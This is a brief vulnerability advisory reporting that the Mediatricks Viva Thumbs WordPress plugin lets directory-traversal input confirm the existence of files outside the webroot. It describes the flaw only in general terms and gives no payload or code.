WordPress Plugin Mediatricks Viva Thumbs - Multiple Information Disclosure Vulnerabilities

source: https://www.securityfocus.com/bid/45539/info

The Mediatricks Viva Thumbs plugin for WordPress is prone to multiple information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues using directory-traversal strings to confirm the existence of local files outside of the WordPress webroot. Information obtained can aid in launching further attacks.
